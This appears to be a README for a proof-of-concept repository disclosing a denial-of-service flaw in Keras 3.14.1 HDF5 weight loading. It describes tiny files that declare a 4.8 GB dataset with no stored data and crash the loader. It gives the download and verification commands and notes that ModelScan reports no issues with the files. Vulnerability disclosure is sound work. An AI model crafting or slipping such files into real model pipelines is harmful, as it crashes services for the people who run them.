This repository contains benign crash-only PoCs for a current Keras HDF5 loading path. Tiny HDF5 model-weight artifacts declare a 4.8 GB float32 dataset while storing no user chunks. Current Keras 3.14.1 still materializes that attacker-controlled dataset shape in runtime H5IOStore loading, causing a bounded child process to terminate with SIGSEGV.
1path: layers/dense/vars/0
2shape: (1200000000,)
3dtype: float32
4declared bytes: 4800000000
5stored bytes: 0
6chunks: (1024,)
This is availability impact only. No code execution, file read, file write, persistence, or network behavior is claimed.
1hf download pragnyanramtha/hdf5-keras-h5iostore-shape-bomb-poc \
2 --repo-type model \
3 --local-dir hdf5-keras-h5iostore-shape-bomb-poc
4cd hdf5-keras-h5iostore-shape-bomb-poc
5
6python3 -m pip install keras==3.14.1 h5py==3.16.0 numpy
7KERAS_BACKEND=numpy python3 verify_weights_h5_shape_bomb.py --elements 1200000000 --limit-mb 768
8KERAS_BACKEND=numpy python3 verify_keras_shape_bomb.py --elements 1200000000 --limit-mb 2048
1"returncode": -11
2"declared_bytes_float32": 4800000000
3"storage_size": 0
1KERAS_BACKEND=numpy python3 - <<'PY'
2from keras.saving import KerasFileEditor
3try:
4 KerasFileEditor("shape_bomb_current.keras")
5 print("loaded unexpectedly")
6except BaseException as e:
7 print(type(e).__name__)
8 print(str(e))
9PY
1ValueError
2HDF5 dataset too large to load safely (4800000000 bytes; limit is 4294967296).
ModelScan 0.8.8 reports zero issues for both artifacts.
1modelscan -p shape_bomb_current.weights.h5 -r json --show-skipped -o results/modelscan_shape_bomb_current_weights.json
2modelscan -p shape_bomb_current.keras -r json --show-skipped -o results/modelscan_shape_bomb_current_keras.json
1shape_bomb_current.weights.h5: total_issues=0, total_scanned=0, skipped MODEL_CONFIG
2shape_bomb_current.keras: total_issues=0, total_scanned=0, embedded model.weights.h5 skipped MODEL_CONFIG
1SHA256(shape_bomb_current.weights.h5)=8384a9acd436f4d8043a19ed0cacb6caf75d8420d5f188631eeab01ce4120fcb
2SHA256(shape_bomb_current.keras)=7b136b97da18cbef2cac36377dddd8e31ccb054c98f5749a1c783d0c16a83c7c